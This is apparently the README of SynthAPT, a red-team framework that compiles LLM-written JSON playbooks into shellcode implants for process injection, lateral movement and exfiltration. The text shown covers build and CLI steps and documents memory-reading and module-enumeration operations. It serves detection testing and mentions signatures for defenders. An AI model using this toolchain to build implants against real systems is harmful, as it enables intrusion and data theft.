Playbook-based adversary simulation framework that compiles JSON-defined attack paths into position-independent shellcode payloads for validating advanced detections and AI-based investigation agents.
SynthAPT is a playbook-based adversary simulation framework for replicating complex attack paths. It is designed for validating advanced detections and AI-based investigation agents. The core idea is that malware behavior can be expressed in JSON and compiled into functional malware, enabling rapid development of realistic scenarios using LLMs.
The core implant is a shellcode payload driven by a playbook interpreter. A playbook predefines the full attack path and the implant follows it, moving throughout the environment via process injection, lateral movement, etc. Each implant spawns as an independent thread with its own instruction set, so multi-stage attacks (e.g. initial access → privesc → lateral movement → exfiltration) are expressed as a graph of cooperating implants, all defined upfront in the playbook. This has three major advantages:
If you don't want to use the release you can compile it like so:
cargo install cargo-make
rustup toolchain install nightly
rustup target add x86_64-pc-windows-gnu --toolchain nightly
sudo apt install gcc-mingw-w64-x86-64
Build with cargo make:
cargo make build
./target/release/synthapt
This will compile the shellcode and the editor.
Running SynthAPT without any commands will drop you into the editor. You can provide a Claude API key and view the changes as you prompt.
SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands:
edit Open the TUI editor with a playbook loaded from PATH
validate Validate a playbook JSON file and print any errors
export-skill Export the agent system prompt as a Claude Code slash command skill
compile Compile a playbook to a payload
If you want to use another LLM or a subscription, you can run synthapt export-skill and use that with whatever coding setup you have.
It should spit out a JSON playbook. Compile it into a payload with the compile command:
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
Constants can be defined as strings, hex objects, or base64 objects:
"constants": [
"c:\\windows\\temp\\file.txt",
{ "hex": "deadbeef" },
{ "base64": "SGVsbG8=" }
]

Read raw bytes from a memory address in the current or a remote process.
| Field | Type | |
|---|---|---|
| address | hex string | required (address as hex chars, e.g. "7FFE0030"; 0x prefix is stripped automatically) |
| size | u32 | required |
| pid | u32 | optional (remote process; omit for local read) |
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
Walk the PEB LDR InLoadOrderModuleList and return loaded modules. Returns postcard-serialized Vec<ProcessResult<ModuleInfo>>.
| Field | Type | |
|---|---|---|
| pid | u32 or "all" | optional (omit = current process; "all" = every accessible process) |
{ "op": "dll_list" }
{ "op": "dll_list", "pid": 1234 }
{ "op": "dll_list", "pid": "all" }
Enumerate virtual memory regions via VirtualQuery/VirtualQueryEx. Returns postcard-serialized Vec<ProcessResult<MemRegion>>. Skips FREE regions; IMAGE regions include module name and PE section.
| Field | Type | |
|---|---|---|
| pid | u32 or "all" | optional (omit = current process; "all" = every accessible process) |
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
Find committed private executable memory regions — indicators of injected shellcode or reflective DLLs. Skips all-zero pages and notes regions with MZ headers. Returns postcard-serialized Vec<ProcessResult<MalfindHit>>.
| Field | Type | |
|---|---|---|
| pid | u32 or "all" | optional (omit = current process; "all" = every accessible process) |
{ "op": "malfind" }
{ "op": "malfind", "pid": 1234 }
{ "op": "malfind", "pid": "all" }
Cross-reference IMAGE memory regions against the PEB module list to find unlinked or hidden DLLs — regions with MZ headers not present in InLoadOrderModuleList. Returns postcard-serialized Vec<ProcessResult<LdrCheckHit>>.
| Field | Type | |
|---|---|---|
| pid | u32 or "all" | optional (omit = current process; "all" = every accessible process) |
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
Like all frameworks, the implant has a distinct in-memory footprint, and many plaintext strings that give it away. You can build signatures off the base shellcode file: out/shellcode.bin
